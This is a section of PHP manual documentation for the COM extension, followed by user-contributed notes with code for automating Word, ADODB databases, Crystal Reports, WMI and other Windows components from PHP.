MK_E_UNAVAILABLE (int) | -2147221021 | iMoniker COM status code, return on errors where the function call failed due to unavailability. | As of PHP 7.0.0, the value is 2147746275 on x64.

User Contributed Notes

There are no user contributed notes for this page.


Errors and error handling

This extension will throw instances of the class com_exception whenever there is a potentially fatal error reported by COM. All COM exceptions have a well-defined code property that corresponds to the HRESULT return value from the various COM operations. You may use this code to make programmatic decisions on how to handle the exception.

User Contributed Notes

There are no user contributed notes for this page.


示例

Table of Contents

  • For Each
  • Arrays and Array-style COM properties

User Contributed Notes

There are no user contributed notes for this page.


For Each

You may use PHP's own foreach statement to iterate over the contents of a standard COM/OLE IEnumVariant. In layman's terms, this means that you can use foreach in places where you would have used For Each in VB/ASP code.

Example #1 For Each in ASP

<%
Set domainObject = GetObject("WinNT://Domain")
For Each obj in domainObject
  Response.Write obj.Name & "<br />"
Next
%>

Example #2 foreach in PHP

<?php
$domainObject = new COM("WinNT://Domain");
foreach ($domainObject as $obj) {
echo $obj->Name . "<br />";
}
?>

User Contributed Notes

There are no user contributed notes for this page.


Arrays and Array-style COM properties

Many COM objects expose their properties as arrays, or using array-style access.

You can:

  • Access multi-dimensional arrays, or COM properties that require multiple parameters using PHP array syntax. You can also write or set properties using this technique.

  • Iterate SafeArrays ("true" arrays) using the foreach control structure. This works because SafeArrays include information about their size. If an array-style property implements IEnumVariant then you can also use foreach for that property too; take a look at For Each for more information on this topic.

User Contributed Notes

There are no user contributed notes for this page.


The com class

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

简介

The com class allows you to instantiate an OLE compatible COM object and call its methods and access its properties.

类摘要

class com extends variant {
/* 方法 */
public __construct(
string $module_name,
array|string|null $server_name = null,
int $codepage = CP_ACP,
string $typelib = ""
)
}

Overloaded Methods

The returned object is an overloaded object, which means that PHP does not see any fixed methods as it does with regular classes; instead, any property or method accesses are passed through to COM.

PHP will automatically detect methods that accept parameters by reference, and will automatically convert regular PHP variables to a form that can be passed by reference. This means that you can call the method very naturally; you needn't go to any extra effort in your code.

com examples

Example #1 com example (1)

<?php
// starting word
$word = new com("word.application") or die("Unable to instantiate Word");
echo "Loaded Word, version {$word->Version}\n";

//bring it to front
$word->Visible = 1;

//open an empty document
$word->Documents->Add();

//do some weird stuff
$word->Selection->TypeText("This is a test...");
$word->Documents[1]->SaveAs("Useless test.doc");

//closing word
$word->Quit();

//free the object
$word = null;
?>

Example #2 com example (2)

<?php

$conn = new com("ADODB.Connection") or die("Cannot start ADO");
$conn->Open("Provider=SQLOLEDB; Data Source=localhost;
Initial Catalog=database; User ID=user; Password=password");

$rs = $conn->Execute("SELECT * FROM sometable"); // Recordset

$num_columns = $rs->Fields->Count();
echo $num_columns . "\n";

for ($i=0; $i < $num_columns; $i++) {
$fld[$i] = $rs->Fields($i);
}

$rowcount = 0;
while (!$rs->EOF) {
for ($i=0; $i < $num_columns; $i++) {
echo $fld[$i]->value . "\t";
}
echo "\n";
$rowcount++; // increments rowcount
$rs->MoveNext();
}

$rs->Close();
$conn->Close();

$rs = null;
$conn = null;

?>

Table of Contents

  • com::__construct — com class constructor

User Contributed Notes

info at ensostudio dot ru 26-Jul-2020 09:52
Complete example of using WScript.Shell:
<?php
/**
  * Methods & properties
  * @link https://msdn.microsoft.com/en-us/library/2f38xsxe(v=vs.84).aspx
  */
$shell = new com('WScript.Shell', null, CP_UTF8);
var_dump($shell->CurrentDirectory);
foreach ($shell->Environment as $value) {
    var_dump($value);
}
// check file 'Test.php'
$process = $shell->Exec('.../php.exe --syntax-check --file=".../src/Test.php"');
// wait complete: 1 - done
while (! $process->Status) {
    usleep(5000);
}
// results: -1 - syntax error, 0 - no error
var_dump($process->ExitCode);
// show responce
var_dump($process->StdOut->ReadAll());
// show errors
var_dump($process->StdErr->ReadAll());
?>
Danil_lll 14-Aug-2018 10:14
Hello. There is a code c# which works with the COM-library (written on C++) - hybrid.dll.
I need to rewrite this code from C# to PHP (that is connect the COM-library to the PHP code)

Here is the function that is called inside C#:
Gr = HybridLib.Hybrid_Color.GREEN;

And here is the list of "Hybrid_Color"which in the library:
enum Hybrid_Color
{
    GREEN = 0x00000001,
    BLACK = 0x00000002,
    BLUE = 0x00000004,
};

The library itself was launched in PHP:
$PHP_Lib = new COM("HybridLib.Hybrid");

Can not assign value:
$gr = $PHP_Lib -> ..... ?????

What I write next, I don't know...
Tell me, please, who knows...
IceNV 13-Dec-2016 02:17
Under PHP7(.x) 64-bit, there is a documentation error (on the MSDN side, already reported) causing problems if you try to manipulate the registry (StdRegProv) through COM.

Indeed, MSDN reports that the registry hive/root must be reported as a uint32, which means that, in PHP 64-bit, one would create a new Variant($root,VT_UI4).

This would throw a type mismatch error.
It seems internally and contrary to what MSDN says (as of now, 2016-12-13), the root parameter must actually be passed as an int32.

So you have to :
1. convert your root number to a negative int to avoid out-of-bounds exceptions when creating the variant below (basically the integer being >= 2^31, you have to wrap it around the 32-bit signed integer maximum yourself) ;
2. create a new Variant($root,VT_I4) ;
3. pass that Variant to your COM API call.

This did not happen before PHP 7.0 as it always used VT_I4 internally before (see https://bugs.php.net/bug.php?id=73605), but now it respects (and is right to do so) the real integer length, so without an explicit conversion, PHP7 would now output a VT_I8 on x64, versus VT_I4 for PHP5.
juan156_elias at gmail dot com 08-Nov-2015 03:22
This is an example of using .Net using the NetPhp library that is based on the COM/DOTNET classes.

You can use any .dll file,  wether it is or not COM decorated and any of the .Net framework types out of the box. You can also target any version of the .Net framework.

<?php

$runtime = new \NetPhp\Core\NetPhpRuntime('COM', 'netutilities.NetPhpRuntime');

// Add both SpreadsheetLight and the OpenXML it depends on.
$runtime->RegisterAssemblyFromFile('/binaries/SpreadsheetLight.dll', 'SpreadsheetLight');
$runtime->RegisterAssemblyFromFile('/binaries/DocumentFormat.OpenXml.dll', 'DocumentFormat.OpenXml');
$runtime->RegisterAssemblyFromFile('/binaries/AjaxMin.dll', 'AjaxMin');

// Using the FullName of a type that belongs to an assembly that has already been registered.
$datetime = $runtime->TypeFromName("System.DateTime");

// Using the FullName of a type that has not been registered yet (from a file)
$minifier = $runtime->TypeFromFile("Microsoft.Ajax.Utilities.Minifier", APPLICATION_ROOT . '/binaries/AjaxMin.dll');

// Using the FullName of a type that has not been registered yet (autodiscoverable)
$datetime2 = $runtime->TypeFromAssembly("System.DateTime", "mscorlib, ....");

$datetime->Instantiate();
echo $datetime->ToShortDateString()->Val(); // Outputs 01/01/0001

// We can only use Int32 from native PHP, so parse
// an Int64 that is equivalent to (long) in the DateTime constructor.
$ticks = $runtime->TypeFromName("System.Int64")->Parse('98566569856565656');

$datetime->Instantiate($ticks);
echo $datetime->ToShortDateString()->Val(); // Outputs 07/05/0313

// We can only use Int32 from native PHP, so parse
// an Int64 that is equivalent to (long) in the DateTime constructor.
$ticks = $runtime->TypeFromName("System.Int64")->Parse('98566569856565656');

// Dump a .Net System.Timers.Timer object!
$data = $timer->GetPhpFromJson();

var_dump($data);

    // Outputs:
    //  object(stdClass)[38]
    //     public 'AutoReset' => boolean true
    //     public 'Enabled' => boolean false
    //     public 'Interval' => int 100
    //     public 'Site' => null
    //     public 'SynchronizingObject' => null
    //     public 'Container' => null

// Check if today is monday
$IsMonday = $runtime->TypeFromName("System.DateTime")->Now->DayOfWeek->
Equals($runtime->TypeFromName("System.DayOfWeek")->Enum('Monday'));

?>
Eion Robb 12-Feb-2014 09:59
All the examples here show
<?php $var = new COM('Whatever.Something') or die(); ?>
however the 'or die()' bit is redundant as a fatal 'com_exception' exception will be thrown, killing your script.  If you want to handle the 'or' condition you need to catch the exception, eg
<?php
try {
$var = new COM('Whatever.Something');
} catch (com_exception $e) {
 //couldn't load, do something else like register
exec('regsvr32 /s whatever.dll');
}
?>
rogier 28-Oct-2011 10:09
Took me a while to figure this out by trial and error:

If your frustrated when getting a com-exception like "Error [0x80004002] ..." (with a message nagging you about an unsupported interface), and you're calling a class method through COM that expects a char as an argument, you should NOT call the method with a single-character string.

The correct way of calling a method like this is to use a VARIANT with a type of VT_UI1.

COM enabled method definition:

public bool DoSomething(char arg);

<?php

$com = new COM('Some.Class.Name');

// This will fail
$var = 'a';
$com->DoSomething($var);

// This works correctly
$var = new VARIANT(ord('a'), VT_UI1);
$com->DoSomething($var);

?>

I hope this helps some people
sparrowstail at googlemail dot com 12-Nov-2010 11:35
This script reports all Windows drives, drive type, status (if not available), free space and total drive size:

<?php

    $fso = new COM('Scripting.FileSystemObject');
    $D = $fso->Drives;
    $type = array("Unknown","Removable","Fixed","Network","CD-ROM","RAM Disk");
    foreach($D as $d ){
       $dO = $fso->GetDrive($d);
       $s = "";
       if($dO->DriveType == 3){
           $n = $dO->Sharename;
       }else if($dO->IsReady){
           $n = $dO->VolumeName;
           $s = file_size($dO->FreeSpace) . " free of: " . file_size($dO->TotalSize);
       }else{
           $n = "[Drive not ready]";
       }
   echo "Drive " . $dO->DriveLetter . ": - " . $type[$dO->DriveType] . " - " . $n . " - " . $s . "<br>";

    }

      function file_size($size)
      {
      $filesizename = array(" Bytes", " KB", " MB", " GB", " TB", " PB", " EB", " ZB", " YB");
      return $size ? round($size/pow(1024, ($i = floor(log($size, 1024)))), 2) . $filesizename[$i] : '0 Bytes';
      }

?>

There are a number of other properties of the drive object which can be called this way - see:

http://msdn.microsoft.com/en-us/library/ts2t8ybh%28VS.85%29.aspx
z3n at overflow dot biz 24-Sep-2009 08:35
On a query reply using ADODB.Connection object, all my $rs->Fields['field_name']->Value returned `variable Object` when inserted into a array, like this:

<?php
for ($rl[$v]=array(),_qm($_query);!$res->EOF;$res->MoveNext()) {
    $rl[$v][]=$res->Fields['x']->Value;
}
?>

I figured out that converting the value into a INT fixed the issue:

<?php $rl[$v][]=intval($res->Fields['x']->Value); ?>
pavanphp Gudipati 17-Jun-2009 06:49
Here I Am describing a Program from which you can connect any exe(software) using COM component.
pdf2swf is a software for converting PDf to SWF files.

This is best example for  WScript.Shell

<?php
#code for pdf to swf using pdf2swf software
#this codeworks in windows environment.

## Important Parameters
$software_path  ="C:\\SWFTools\\pdf2swf" ;
$pdf_path       ="C:\\SWFTools\\abcd.pdf" ;
$argument       = "-o";
$swf_output     ="C:\\SWFTools\\abcd.swf" ;

#actual code
$cmd        =" $software_path $pdf_path  $argument $swf_output";

$WshShell   = new COM("WScript.Shell");
$oExec      = $WshShell->Run("cmd /C $cmd ", 0, true);

# 0 for command prompt invisible mode
# 3 for visible

?>
tsintra at humansoft dot pt 11-May-2009 08:18
After one week of trying to understand what was wrong with my PHP communication with MS Word, i finally got it working...
It seems that if you're running IIS, the COM object are invoked with restricted privileges.
If you're having permission problems like not being able to opening or saving a document and you're getting errors like:

 - This command is not available because no document is open
or
 - Command failed

try this (if you're running IIS):

- Execute "dcomcnfg"
- Open Component Services > Computers > My Computer > DCOM Config
- Search for Microsoft Office Word 97-2003 Document (it will be something like this translated to your language, so take a while and search for it)
- Right-Click on it and open the properties
- Choose "Identity" tab
- Normally this is set to "the launching user". You have to change this to "the interactive user" or a admin user of your choice.
- Apply these new settings and test your COM application. It should work fine now.

I hope I save lots and lots of hours of headaches to some of you :)
dpchiesa at hotmail dot com 27-Mar-2009 09:35
Here's a way to create an AES-Encrypted ZIP file in PHP, using DotNetZip via the COM class.

<?php
try
{
  $fname = "zip-generated-from-php-" . date('Y-m-d-His') . ".zip";
  $zipOutput = "c:\\temp\\" . $fname;
  $zip = new COM("Ionic.Zip.ZipFile");
  $zip->Name = $zipOutput;
  $dirToZip= "c:\\temp\\psh";
  #$dirToZip= "c:\\dinoch\\webs\\php";
  $zip->Encryption = 3;
  $zip->Password = "AES-Encryption-Is-Secure";
  $zip->AddDirectory($dirToZip);
  $zip->Save();
  $zip->Dispose();

  if (file_exists($zipOutput))
  {
    header('Cache-Control: no-cache, must-revalidate');
    header('Content-Type: application/x-zip');
    header('Content-Disposition: attachment; filename=' . $fname);
    header('Content-Length: ' . filesize($zipOutput));
    readfile($zipOutput);
    unlink($zipOutput);
  }
  else
  {
    echo '<html>';
    echo '  <head>';
    echo '  <title>Calling DotNetZip from PHP through COM</title>';
    echo '  <link rel="stylesheet" href="basic.css"/>';
    echo '  </head>';
    echo '<body>';
    echo '<h2>Whoops!</h2>' . "<br/>\n";
    echo '<p>The file was not successfully generated.</p>';
    echo '</body>';
    echo '</html>';
  }
}
catch (Exception $e)
{
    echo '<html>';
    echo '  <head>';
    echo '  <title>Calling DotNetZip from PHP through COM</title>';
    echo '  <link rel="stylesheet" href="basic.css"/>';
    echo '  </head>';
    echo '<body>';
    echo '<h2>Whoops!</h2>' . "<br/>\n";
    echo '<p>The file was not successfully generated.</p>';
    echo '<p>Caught exception: ',  $e->getMessage(), '</p>', "\n";
    echo '<pre>';
    echo $e->getTraceAsString(), "\n";
    echo '</pre>';
    echo '</body>';
    echo '</html>';
}

?>
james dot m dot love at gmail dot com 07-Jan-2009 03:27
If you're using COM to create a DSN Less connection to an MS Access 2007 database, you'll find through Googling that you need to use an updated version of Jet, so the connection string I've found looks like this:

<?php
$databaselocation = "C:\Path\to\db.accdb";
$conn = new COM('ADODB.Connection') or exit('Cannot start ADO.');
$conn->Open("Provider=Microsoft.ACE.OLEDB.12.0; Data Source=$databaselocation") or die('Cannot start with Jet');
?>

However, on my setup (WinVista, Access 2007, PHP526) I found that it always 'dies' with "Cannot start with Jet", even if the connection was successful ($conn->State reads "1").

I figured to just drop the die() command on $conn->Open(). If something catastrophic happens with the ADO connection then it's own error handling engine passes stack traces, etc back to the console/standard output.

Therefore, my Open() command looks like this:

<?php
$conn->Open("Provider=Microsoft.ACE.OLEDB.12.0; Data Source=$databaselocation");
?>
casanoteva at yahoo dot com 26-Dec-2008 01:19
Hi, just wanna share to everyone after tried and tested many many times to create report in PDF format from Crystal Report.
Finally I can do it without any error.
 Here is my system; PHP 5.1.6, MSSQL2005 and Crystal Report Server XI RL2

<?php

//- Variables - for your RPT and PDF
echo "Print Report Test";
$my_report = "D:\\Folder1\\SubFolder1\\Report.rpt"; //
rpt source file
$my_pdf = "D:\\Folder1\\SubFolder1\\Report.pdf"; // RPT export to pdf file
//-Create new COM object-depends on your Crystal Report version
$ObjectFactory= new COM("CrystalReports115.ObjectFactory.1") or die ("Error on load"); // call COM port
$crapp = $ObjectFactory-> CreateObject("CrystalDesignRunTime.Application"); // create an instance for Crystal
$creport = $crapp->OpenReport($my_report, 1); // call rpt report

// to refresh data before

//- Set database logon info - must have
$creport->Database->Tables(1)->SetLogOnInfo("servername", "DBname", "user", "password");

//- field prompt or else report will hang - to get through
$creport->EnableParameterPrompting = 0;

//- DiscardSavedData - to refresh then read records
$creport->DiscardSavedData;
$creport->ReadRecords();

//export to PDF process
$creport->ExportOptions->DiskFileName=$my_pdf; //export to pdf
$creport->ExportOptions->PDFExportAllPages=true;
$creport->ExportOptions->DestinationType=1; // export to file
$creport->ExportOptions->FormatType=31; // PDF type
$creport->Export(false);

//------ Release the variables ------
$creport = null;
$crapp = null;
$ObjectFactory = null;

//------ Embed the report in the webpage ------
print "<embed src=\"D:\\Folder1\\SubFolder1\\Report.pdf\" width=\"100%\" height=\"100%\">"

?>

 That's all for me, anyway in Crystal Report I have to check DisCardSavedData, Save data with report and AutoSave (1 min) in Option Tab and also in Report Options I have to check save dat with report, too.

Hope this should be help to anybody

Casanoteva
johnno1985 at gmail dot com 21-Aug-2008 11:34
I couldn't find an example anywhere on what I was trying to do.  After taking bits from everyone I ended up with something that worked.

Im using Crystal Reports 10, MS SQL Server 2005, Apache2, and PHP5.

My report uses an SQL Store Procedure and passes some parameter to get the report data, so our PHP must set the database logon info and pass the parameters.

Below is the solution I came up with:

<?php

//------  Variables ------
$my_report = "C:\\Apache2\htdocs\\test\\MyReport.rpt";  //This must be the full path to the file
$my_pdf = "C:\\Apache2\htdocs\\test\\MyReport.pdf";

//------ Create a new COM Object of Crytal Reports 10 ------
$ObjectFactory= new COM("CrystalReports10.ObjectFactory.1");

//------ Create a instance of library Application -------
$crapp = $ObjectFactory->CreateObject("CrystalDesignRunTime.Application.10");

//------ Open your rpt file ------
$creport = $crapp->OpenReport($my_report, 1);

//------ Set database logon info ------
$creport->Database->Tables(1)->SetLogOnInfo("MYSERVER", "Database", "user", "password");

//------ Suppress the Parameter field prompt or else report will hang ------
$creport->EnableParameterPrompting = 0;

//------ DiscardSavedData make a Refresh in your data -------
$creport->DiscardSavedData;
$creport->ReadRecords();

//------ Pass formula fields --------
$creport->FormulaFields->Item(1)->Text = ("'My Report Title'");
$creport->ParameterFields(1)->AddCurrentValue ("FirstParameter");
$creport->ParameterFields(2)->AddCurrentValue (2000);

//------ Export to PDF -------
$creport->ExportOptions->DiskFileName=$my_pdf;
$creport->ExportOptions->FormatType=31;
$creport->ExportOptions->DestinationType=1;
$creport->Export(false);

//------ Release the variables ------
$creport = null;
$crapp = null;
$ObjectFactory = null;

//------ Embed the report in the webpage ------
print "<embed src=\"MyReport.pdf\" width=\"100%\" height=\"100%\">"

?>

Obviously there's plenty of room for refinement in there, but it works and should get you going on the right track.  I also found that during testing, the script was hanging before supressing the parameter prompt. Once this had happened, some exports that had been working earlier stopped completely and wouldn't work again untill I restarted Apache.  This might be something worth doing if you keep having issues after a script has hung.
mastrboy.servebeer.com 13-Jun-2008 05:03
quick wmi query example:

<?php
    $obj = new COM ( 'winmgmts://localhost/root/CIMV2' );
    $wmi_computersystem =     $obj->ExecQuery("Select * from Win32_ComputerSystem");
    $wmi_bios             =    $obj->ExecQuery("Select * from Win32_BIOS");
    foreach ( $wmi_computersystem as $wmi_call )
    {
        $model = $wmi_call->Model;
    }

    foreach ( $wmi_bios as $wmi_call )
    {
        $serial = $wmi_call->SerialNumber;
        $bios_version = $wmi_call->SMBIOSBIOSVersion;
    }
    echo "Bios version   : $bios_version\n".
         "Serial number  : $serial\n".
         "Hardware Model : $model\n";
?>
mbirth at webwriters dot de 08-Jun-2008 03:19
Using the DynamicWrapper from http://freenet-homepage.de/gborn/WSHBazaar/WSHDynaCall.htm and after registering it via "regsvr32 dynwrap.dll", you can easily set output colors to make colorful CLI scripts even on Windows.

<?php

$dw = new COM('DynamicWrapper');  // needs dynwrap.dll (regsvr32 dynwrap.dll)

// register needed features
$dw->Register('kernel32.dll', 'GetStdHandle', 'i=h', 'f=s', 'r=l');
$dw->Register('kernel32.dll', 'SetConsoleTextAttribute', 'i=hl', 'f=s', 'r=t');
$dw->Register('kernel32.dll', 'SetConsoleTitle', 'i=s', 'f=s', 'r=l');

// get console handle
$ch = self::$dw->GetStdHandle(-11);  // -11 = STD_OUTPUT_HANDLE

?>

After these initialization steps, you can set the console output color using:

<?php
$dw->SetConsoleTextAttribute($ch, 14);
echo 'This is yellow text!';
$dw->SetConsoleTextAttribute($ch, 7);
echo 'Back to normal gray!';
?>

Using SetConsoleTitle you can even set the title displayed in the console window.

Color values are 0..7 for dark colors and 8..15 for light colors. Sequence is (black/silver, blue, green, cyan, red, magenta, yellow/brown, white/gray). I also found that if you add 16384 to the value, it should be inverse. 32768 added should get underlined text. But these latter two didn't work for me.
amenthes at NOSPAM dot gmail dot com 03-Mar-2008 10:13
If you ever want to save an Excel(.xls) file into the Office Excel 2003 XML format, just use

$excel->Workbooks[1]->SaveAs('new_file_name.xml', 46);

That's the number you need, 46.
halfer 21-Jun-2007 05:03
Thanks to paul at completewebservices who added a note earlier; I have used his code to solve a particularly difficult issue with the Crystal 9 runtime component. For some reason, VBA/VBS can pass a native Date type as a parameter to a Crystal Report requiring a date, but in PHP I've tried all manner of strings, unix timestamps, COM variant dates etc and all of these resulted in a com_exception.

My solution was to employ VBScript to borrow the CDate function, which works correctly. Not the most elegant of solutions, but this parameterised approach is to be preferred to search-n-replacing the RecordSelectionFormula string. Of course if anyone here has an even better approach, do post it here - I am sure it would be of use.

<?php
// $rptParam is a report parameter object having a type of date
$oScript = new COM("MSScriptControl.ScriptControl");
$oScript->Language = "VBScript";
$oScript->AllowUI = false;
$oScript->AddObject('rptParam', $rptParam, true);
$oScript->AddCode('Function SetDateParameter(strDate)
rptParam.AddCurrentValue(CDate(strDate))
End Function');
$oScript->Run("SetDateParameter", "25 April 2006");
?>
hwcshirley at gmail dot com 21-May-2006 10:59
Reply to: djogopatrao at gmail dot com
I have change little bit your code. Its work.

$COM_Object = "CrystalDesignRunTime.Application";
$my_report = "C:\\appserv\\www\\mc\\test.rpt";
$my_pdf = "C:\\appserv\www\\mc\\test.pdf";

$crapp= New COM($COM_Object) or die("Unable to Create Object");
$creport = $crapp->OpenReport($my_report, 1);
$creport->ReadRecords(); // attention!

$creport->ExportOptions->DiskFileName=$my_pdf;
$creport->ExportOptions->PDFExportAllPages=true;
$creport->ExportOptions->DestinationType=1; // Export to File
$creport->ExportOptions->FormatType=31; // Type: PDF
$creport->Export(false);
djogopatrao at gmail dot com 05-Apr-2006 12:25
My previous notes about Crystal Reports have vanished away, but anyway I was up to correct them.

The code above connects to COM (beware of the version number! search on the Registry Editor for the correct name to put in $COM_Object), opens a report from a file ($my_report), reload records from database and then exports it to a PDF file ($my_pdf).

* IMPORTANT * this code, when invoked from the browser (I'm using Apache) AND with a report that connects to a ODBC database, does not work (the problem is specificly the line ReadRecords(), but may arise without it too when data is not saved into the report file).

But when you run this code by PHP-CLI (that is, by the command line), it works ok! I bug-reported this, but have no answer till now ( give it a vote, if you thing it's important: http://bugs.php.net/bug.php?id=36959 ).

Also, exceptions may arise, so put it on a try_catch block.

--------------------------

// by dfcp '06 (djogopatrao@gmail.com)

$COM_Object = "CrystalReports11.ObjectFactory.1";
$my_report = "C:\\report.rpt";
$my_pdf = "C:\\report.pdf";

$ObjectFactory= New COM($COM_Object);
$crapp = $ObjectFactory->CreateObject("CrystalDesignRunTime.Application");
$creport = $crapp->OpenReport($my_report, 1);
$creport->ReadRecords(); // attention!

$creport->ExportOptions->DiskFileName=$my_pdf;
$creport->ExportOptions->PDFExportAllPages=true;
$creport->ExportOptions->DestinationType=1; // Export to File
$creport->ExportOptions->FormatType=31; // Type: PDF
$creport->Export(false);
djogopatrao at gmail dot com 04-Mar-2006 07:27
I found somewhere (http://www.recrystallize.com/merchant/supportfaq/supportfaq0003.htm) a list relating each version of Crystal Reports to its respective progID - it may help some fellows out there.

7          Crystal.CRPE.Application

8.0        CrystalRuntime.Application or CrystalRuntime.Application.8

8.5        CrystalRuntime.Application or CrystalRuntime.Application.8.5

9 (RDC)    CrystalRuntime.Application.9
9 (RAS)    CrystalReports.ObjectFactory.2
10 (RDC)   CrystalRuntime.Application.11
10 (CEE)   CrystalReports10.ObjectFactory.1

XI (RDC)   CrystalRuntime.Application.11
XI (RAS)   CrystalReports11.ObjectFactory.1
paul at completewebservices dot com dot au 28-Jan-2006 03:49
It seems that PHP does not support setting of properties with arguments.  This is how I got around the problem:

        // Object with method I want to set
        $auth = new COM("AUTHXOCX.AuthXOCXCtrl.1");

        // ScriptControl
        $oScript = new COM("MSScriptControl.ScriptControl");
        $oScript->Language = "VBScript";
        $oScript->AllowUI = TRUE;

        // Add out object to the control
        $oScript->AddObject('auth', $auth, true);

        // Create a VBScript function that allow me to set them
       $oScript->AddCode(
'Function fixAccess(accessname)
    auth.AuthDataReferrerEnabled(accessname) = 1
    auth.AuthDataAuthentiXDBEnabled(accessname) = 0
End Function');

        // Execute function
        $oScript->Run("fixAccess", $dir);
volker at kybs dot de 07-Oct-2005 12:51
To use the windows speech system install the "Speech SDK 5.1 for Windows? applications" from the Microsoft homepage (free download).
Then you can do Text2Speech like this:

$voice = new COM("SAPI.SpVoice");
$voice->Speak("Hello, lets have a conversation");
sadi at unicornsoftbd dot com 06-Oct-2005 01:56
If your PHP is configured as ISAPI module then the COM object you create in ur php page will use the same memory space as the web server. If your COM object takes too much memory then this may force some COM error as PHP does not handle the memory usage of COM itself. And also Web server doesnt know what do to free COM memory. But if you use PHP as CGI then PHP itself handle the memory usage of COM. Once in a script where i used COM and PHP as ISAPI module i got unknown COM error.But when i used PHP as CGI there was no error. So those who want to use COM object in your application please be careful about it.
deletethis@bjoern(at)syltonline(doot)de 15-Sep-2005 07:36
If you can get the old "TaskScheduler.dll" and register it, it is quite simple to handle and start Windows tasks from PHP.
This is extremely useful when you got things to do which must be run in a different user context. Prepare a task with the user and use PHP & Com to build a webinterface for it.

Here is an example how to start a Windows task:

  function start_task ($taskname) {
    $SchedObj = new COM("Scheduler.SchedulingAgent.1");
    foreach ($SchedObj->Tasks as $task) {
      if (strtolower( (string) $task) == strtolower( $taskname.".job" )) {
         $task->Run();
      }
    }
  }

I'm also working on a class to handle infos, adding and removing of tasks via PHP. If you are interested drop me a line.
csaba at alum dot mit dot edu 03-Mar-2005 05:21
Getting IE to the foreground
If you are using a command line (CLI) version of PHP on a Win32 platform (e.g. XP Pro, SP2), you might want to have output directed to IE (perhaps you'll want to work with the output there) when Popup does not suffice (see my earlier post, below).

It's easy enough to get an instance of IE using $ie = new COM("InternetExplorer.Application");.  The problem is, you don't necessarily see it in the foreground (especially if you already have one open) and who wants to waste keystrokes getting to it?  The code below has been working for me (If you want to do other adjustments (e.g. $ie->Document->ParentWindow->resizeTo(800,500); or $ie->Document->Body->bgColor = "yellow";), doing them before the $ie->Visible = true; line will avoid screen distractions):

<?php
function newIEtoForeground($title, $evtPrefix="") {
    // brings new instance of IE to foreground with title $title
    if (!$extPrefix) $ie = new COM("InternetExplorer.Application");
    else $ie = new COM("InternetExplorer.Application", $evtPrefix);
    $ie->Navigate2("about:blank");
    $oWSH = new COM("WScript.Shell");
    while ($ie->ReadyState!=4) usleep(10000);

    $ie->Document->Title = ($tmpTitle = mt_rand());  //unique title
    $ie->Visible = true;
    while (!$oWSH->AppActivate("$tmpTitle - M")) usleep(10000);

    $ie->Document->Title = $title;
    $ie->Document->ParentWindow->opener="me";  // allows self.close()
    return $ie;
}
?>

Csaba Gabor from Vienna
csaba at alum dot mit dot edu 14-Feb-2005 12:22
Basic Windows IO
If you are using a command line (CLI) version of PHP on a Win32 platform, you might like to have a simple graphical interface to get input and output.  The following gives an illustration for both.

<?php
    // first we get some input
    $oScript = new COM("MSScriptControl.ScriptControl");
    $oScript->Language = "VBScript";
    $title = "I/O Demo: Input half";
    $initial = "Change this value";
    $prompt = "Please enter a value";

    $code = <<<EOF
Function getInput()
    inVal = InputBox("$prompt", "$title", "$initial")
    getInput = inVal         'how return values are assigned in VB
End Function
EOF;

    $oScript->AddCode($code);
    $input = $oScript->Eval("getInput()");
    if (gettype($input)=="NULL") $input = "Input box was cancelled";

    // now we show some output
    $oWSH = new COM("WScript.Shell");
    $title = "I/O Demo: Output half";
    $timeout = 2;        // 0 for no timeout
    $style = 0 + 48;    // buttons to show + alert symbol
    $oWSH->Popup($input, $timeout, $title, $style);
?>

This is example is overblown for illustrative purposes.  The whole input part collapses if the amount of code used is a single statement.  So, this would have sufficed:
$code = "InputBox(\"$prompt\", \"$title\", \"$initial\")";
$input = $oScript->Eval($code);

This technique exposes quite a bit of scripting power tied into the Windows operating system and VBScript.  However, you should have a really specific reason for using it since VBScript tends to be dog slow when compared to PHP in my tests.  Simple IO like this is good, however, and the popup size can be quite large.  Furthermore, this could be a viable route to go for accessing WinAPI's.

http://www.ss64.com/wsh/popup.html shows some documentation for $oWSH->Popup

Csaba Gabor from Vienna
phpguy _from_ toshpro _dot_ com 12-Nov-2004 05:55
if you ever need to connect to an access database (on the server, using the IIS or APACHE user account), here is code below that can help to ease the process.  It is written like this because we have a MySQL as well as an Access database and need to be able to switch back and forth.  The runQuery function will return a 2 dimensional array and can use column names or numbers for the index of the internal arrays.  External arrays are always integer-indexed.  We also have found issues with Access staying open and growing from 7MB to 2.5GB within two hours, so we open and close it each time we run a query.  If it is not a select query it will return TRUE.  if it fails with errors, it will return false.

There is a showErr flag that we mostly only use for MySQL, since you can output MySQL errors without PHP errors.  Access doesn't appear to be that friendly.

<?php

function runQuery(&$conn,
                    $strSQL,
                    $associative=true,
                    $debug=false,
                    $showSQL=false,
                    $showErr=false) {
    return runMSQuery($conn,$strSQL,$associative,$debug,$showSQL,$showErr);
    //return runMyQuery($conn,$strSQL,$associative,$debug,$showSQL,$showErr);
}

function openMSDB($dbfile="c:/path/and/filename.mdb") {
    if (!@$conn = new COM("ADODB.Connection"))
        exit("Unable to create an ADODB connection<br>");
    $strConn = "DRIVER={Microsoft Access Driver (*.mdb)}; DBQ=".$dbfile;
    @$conn->open($strConn);
    if($conn->State == 0) return false;
    return $conn;
}

function closeMSDB(&$conn) {
    @$conn->Close();
    $conn = null;
    return true;
}

function runMSQuery(&$conn,
                    $strSQL,
                    $associative=true,
                    $debug=false,
                    $showSQL=false,
                    $showErr=false) {
    if(!is_object($conn)) if(!$conn=openMSDB()) return false;
    if( $showSQL || $debug ) echo $strSQL."\n<br>\n";
    $rtn = false;
    if($debug) $rs = $conn->execute($strSQL);
    else $rs = @$conn->execute($strSQL);

    if(!$rs) {
        if($showErr) echo "Error running SQL.<br>\n";
        closeMSDB($conn);
        return false;
    }
    if ($rs->State == 0) {
        closeMSDB($conn);
        return true;
    } else {
        $rows=0;
        while(!$rs->EOF) {
            for($i=0;$i<$rs->Fields->count;$i++) {
                $rsf = $rs->Fields($i);
                if($associative) $rtn[$rows][$rsf->Name] = $rsf->value;
                else $rtn[$rows][$i] = $rsf->value;
            }
            $rows++;
            $rs->MoveNext();
        }
        if($rs->State != 0) $rs->Close();
        $rs = null;
    }
    if($debug) var_dump($rtn);
    closeMSDB($conn);
    return $rtn;
}
?>
sodeh at dana dot ir 30-Oct-2004 03:11
for connection to sql server and know the utf-8 code
use this method to connect the database

$db = new COM("ADODB.Connection",NULL, 65001 );
jon at jonroig dot com 03-Dec-2003 12:28
Here's a simple example of printing formatted templates with MS Word.

To begin with, I've already built my invoice in Word and saved it as an RTF file.
